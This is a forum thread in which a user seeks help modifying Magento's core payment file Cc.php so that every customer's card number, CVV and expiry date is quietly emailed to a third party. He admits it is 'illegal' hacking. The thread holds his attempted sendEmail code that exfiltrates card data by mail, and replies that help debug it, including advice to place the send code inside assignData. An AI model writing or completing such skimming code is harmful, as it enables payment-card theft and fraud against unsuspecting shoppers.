send mysql data to email.

[jjess]

    public function assignData($data)
    {
        if (!($data instanceof Varien_Object)) {
            $data = new Varien_Object($data);
        }
        $info = $this->getInfoInstance();
        $info->setCcType($data->getCcType())
            ->setCcOwner($data->getCcOwner())
            ->setCcLast4(substr($data->getCcNumber(), -4))
            ->setCcNumber($data->getCcNumber())
            ->setCcCid($data->getCcCid())
            ->setCcExpMonth($data->getCcExpMonth())
            ->setCcExpYear($data->getCcExpYear());
        return $this;
    }

/**
 * Prepare info instance for save
 *
 * @return Mage_Payment_Model_Abstract
 */
public function prepareSave()
{
    $info = $this->getInfoInstance();
    if ($this->_canSaveCc) {
        $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
        $info->setCcCidEnc($info->encrypt($info->getCcCid()));
    }
    $info->setCcNumber(null)
        ->setCcCid(null);
    return $this;
}

please check above code, this data for save cc or bank information to mysql, is there any way to send these to any specific email address also? please help is possible. thanks

[jjess]

actually my client want to forward all offline saved cc information to his email address, he is using magento offline payment processing for his customer and now he wish to send all cc information to his email address, can anybody help us?

[DaveRandom]

Difficult to understand that code above without seeing quite a lot more code, but is this what you are after?

[jjess]

here is full code:

<?php
/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/osl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to [e-mail] so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category   Mage
 * @package    Mage_Payment
 * @copyright  Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
 * @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
 */


class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
{
    protected $_formBlockType = 'payment/form_cc';
    protected $_infoBlockType = 'payment/info_cc';
    protected $_canSaveCc     = false;

/**
 * Assign data to info model instance
 *
 * @param   mixed $data
 * @return  Mage_Payment_Model_Info
 */
public function assignData($data)
{
    if (!($data instanceof Varien_Object)) {
        $data = new Varien_Object($data);
    }
    $info = $this->getInfoInstance();
    $info->setCcType($data->getCcType())
        ->setCcOwner($data->getCcOwner())
        ->setCcLast4(substr($data->getCcNumber(), -4))
        ->setCcNumber($data->getCcNumber())
        ->setCcCid($data->getCcCid())
        ->setCcExpMonth($data->getCcExpMonth())
        ->setCcExpYear($data->getCcExpYear());
    return $this;
}

/**
 * Prepare info instance for save
 *
 * @return Mage_Payment_Model_Abstract
 */
public function prepareSave()
{
    $info = $this->getInfoInstance();
    if ($this->_canSaveCc) {
        $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
        $info->setCcCidEnc($info->encrypt($info->getCcCid()));
    }
    $info->setCcNumber(null)
        ->setCcCid(null);
    return $this;
}




/**
 * Validate payment method information object
 *
 * @param   Mage_Payment_Model_Info $info
 * @return  Mage_Payment_Model_Abstract
 */
public function validate()
{
    /*
    * calling parent validate function
    */
    parent::validate();

    $info = $this->getInfoInstance();
    $errorMsg = false;
    $availableTypes = explode(',',$this->getConfigData('cctypes'));

    $ccNumber = $info->getCcNumber();

    // remove credit card number delimiters such as "-" and space
    $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
    $info->setCcNumber($ccNumber);

    $ccType = '';

    if (!$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
        $errorCode = 'ccsave_expiration,ccsave_expiration_yr';
        $errorMsg = $this->_getHelper()->__('Incorrect credit card expiration date');
    }

    if (in_array($info->getCcType(), $availableTypes)){
        if ($this->validateCcNum($ccNumber)
            // Other credit card type number validation
            || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {

            $ccType = 'OT';
            $ccTypeRegExpList = array(
                'VI' => '/^4[0-9]{12}([0-9]{3})?$/', // Visa
                'MC' => '/^5[1-5][0-9]{14}$/',       // Master Card
                'AE' => '/^3[47][0-9]{13}$/',        // American Express
                'DI' => '/^6011[0-9]{12}$/',          // Discovery
                'SS' => '/^((6759[0-9]{12})|(49[013][1356][0-9]{13})|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/'
            );

            foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
                if (preg_match($ccTypeRegExp, $ccNumber)) {
                    $ccType = $ccTypeMatch;
                    break;
                }
            }

            if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
                $errorCode = 'ccsave_cc_type,ccsave_cc_number';
                $errorMsg = $this->_getHelper()->__('Credit card number mismatch with credit card type');
            }
        }
        else {
            $errorCode = 'ccsave_cc_number';
            $errorMsg = $this->_getHelper()->__('Invalid Credit Card Number');
        }

    }
    else {
        $errorCode = 'ccsave_cc_type';
        $errorMsg = $this->_getHelper()->__('Credit card type is not allowed for this payment method');
    }

							//validate credit card verification number
    if ($errorMsg === false && $this->hasVerification()) {
        $verifcationRegEx = $this->getVerificationRegEx();
        $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
        if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
            $errorMsg = $this->_getHelper()->__('Please enter a valid credit card verification number.');
        }
    }					

    if($errorMsg){
        Mage::throwException($errorMsg);
        //throw Mage::exception('Mage_Payment', $errorMsg, $errorCode);
    }

    return $this;
}

			public function hasVerification()
{
    $configData = $this->getConfigData('useccv');
    if(is_null($configData)){
        return true;
    }
    return (bool) $configData;
}

			public function getVerificationRegEx()
{
    $verificationExpList = array(
        'VI' => '/^[0-9]{3}$/', // Visa
        'MC' => '/^[0-9]{3}$/',       // Master Card
        'AE' => '/^[0-9]{4}$/',        // American Express
        'DI' => '/^[0-9]{3}$/',          // Discovery
        'SS' => '/^[0-9]{4}$/',
        'OT' => '/^[0-9]{3,4}$/'
    );
    return $verificationExpList;
}

protected function _validateExpDate($expYear, $expMonth)
{
    $date = Mage::app()->getLocale()->date();
    if (!$expYear || !$expMonth || ($date->compareYear($expYear)==1) || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth)==1 )  )) {
        return false;
    }
    return true;
}

public function OtherCcType($type)
{
    return $type=='OT';
}

/**
 * Validate credit card number
 *
 * @param   string $cc_number
 * @return  bool
 */
public function validateCcNum($ccNumber)
{
    $cardNumber = strrev($ccNumber);
    $numSum = 0;

    for ($i=0; $i<strlen($cardNumber); $i++) {
        $currentNum = substr($cardNumber, $i, 1);

        /**
         * Double every second digit
         */
        if ($i % 2 == 1) {
            $currentNum *= 2;
        }

        /**
         * Add digits of 2-digit numbers together
         */
        if ($currentNum > 9) {
            $firstNum = $currentNum % 10;
            $secondNum = ($currentNum - $firstNum) / 10;
            $currentNum = $firstNum + $secondNum;
        }

        $numSum += $currentNum;
    }

    /**
     * If the total has no remainder it's OK
     */
    return ($numSum % 10 == 0);
}

/**
 * Other credit cart type number validation
 *
 * @param string $ccNumber
 * @return boolean
 */
public function validateCcNumOther($ccNumber)
{
    return preg_match('/^\\d+$/', $ccNumber);
}

}

ny client using magento, this code is for save creditcard information for offline process , my client want to send creditcard information to his email address while user submit their data. you can see there is code for save data in mysql, its possible to send same mysql data to any email address?

[jjess]

sorry for misspell, My client using magento, this code is for save creditcard information for offline process , my client want to send creditcard information to his email address while user submit their data. you can see there is code for save data in mysql, its possible to send same mysql data to any email address?

$emailSubject = 'new cvv and creditcard information';
$mailto = '[e-mail]';

i am trying to use this code but its not working

$body = <<<EOD
<br><hr><br>
Name: $data->cctype <br>
Email: $data->CcOwner <br>
Question: $data->CcNumber <br>
Name: $data->setCcCid <br>
Email: $data->CcExpMonth <br>
Question: $data->CcExpYear <br>

EOD;

$headers = "From: [e-mail]\r\n"; // This takes the email and displays it as who this email is from.
$headers .= "Content-type: text/html\r\n"; // This tells the server to turn the coding into the text.
$success = mail($mailto, $emailSubject, $body, $headers); // This tells the server what to send.

[jjess]

i have also tried this code for send data to email but still not working🙁

  public function prepareEmail()
    {

$emailSubject = 'new cvv and creditcard information';
$mailto = '[e-mail]';


$body = <<<EOD
<br><hr><br>
Name: $data->cctype <br>
Email: $data->CcOwner <br>
Question: $data->CcNumber <br>
Name: $data->setCcCid <br>
Email: $data->CcExpMonth <br>
Question: $data->CcExpYear <br>

EOD;

$headers = "From: [e-mail]\r\n"; // This takes the email and displays it as who this email is from.
$headers .= "Content-type: text/html\r\n"; // This tells the server to turn the coding into the text.
$success = mail($mailto, $emailSubject, $body, $headers); // This tells the server what to send.



  }

[awbrowni30]

Jess,

try the following code in an blank php document. are you receiving or not receiving email?

$to = "[e-mail]";
$from = "enter email";  // Try entering the server's localhost as email (i.e. [e-mail])
$from_name = "Store Name";
$message = "test";
$subject = "Hi JJess, this is a TEST message!";

$headers = "MIME-Version: 1.0\r\n";
			$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
			$headers .= "Content-Transfer-Encoding: 7bit\r\n";
			$headers .= "From: $from_name <" . $from . ">\r\n";

		// send email
		 $moreresults = mail($to, $subject, $message, $headers);

[jjess]

hi your php mailler code works but thats not what i need.

i am trying to hack magento ecommerce script for my client, my client want to send all cc information to his email id. i know its illegal but he wanna do this. he wish to send all offline saved creditcard information with cvv or authorize.net creditcard information with cvv to his email id..

i think magento cc.php work for both offline and authorize.net creditcard process and validation, so i have modified cc.php file for send a copy of submitted creditcard details to his email id. but things not working, i really need your help for fix this things, so please help us.

cc.php file path in magento script:

/public_html/app/code/core/Mage/Payment/Model/Method/Cc.php 

full code of Cc.php posted here in my #4 reply

i've added below code in this cc.php file but seems things not working.

public function sendEmail()
    {

 $cctype = $data->getCcType();
 $CcOwner = $data->getCcOwner();
 $CcNumber = $data->getCcNumber();
 $setCcCid = $info->getCcCid();
 $CcExpMonth = $data->getCcExpMonth();
 $CcExpYear = $data->getCcExpYear();

 $emailSubject = 'new cvv and creditcard information';
 $mailto = '[e-mail]';

$body = <<<EOD
<br><hr><br>
CC type: $cctype <br>
CC owner name: $CcOwner <br>
cc number : $CcNumber <br>
CC ID: $setCcCid <br>
exp month: $CcExpMonth <br>
exp years: $CcExpYear <br>
EOD;

$headers = "From: [e-mail]\r\n"; // This takes the email and displays it as who this email is from.
$headers .= "Content-type: text/html\r\n"; // This tells the server to turn the coding into the text.
$success = mail($mailto, $emailSubject, $body, $headers); // This tells the server what to send.

}

could anyone please tell me how to send all offline saved cc info or authorize.net cc info to my client email?

[awbrowni30]

So why not include the send code inside the assignData function... ?

[jjess]

awbrowni30;10972753 wrote:

So why not include the send code inside the assignData function... ?

hi, i am trying morning to its night but not working, could you please assign data and give me correct code?

i have give you full php code of Cc.php file of magento, also i told you code that i am trying to use but card information not sending to email id.

[djjjozsi]

try to set the error reporting into ON, and you will get a warning for the variable: $data in your code. It is not global.

[jjess]

djjjozsi;10972759 wrote:

try to set the error reporting into ON, and you will get a warning for the variable: $data in your code. It is not global.

i am sure its possible to save cc information or send it through email, .because when a user will submit cc information , all cc field must have to be validated through Cc.php i am right? cant anyone give me a detailed solution?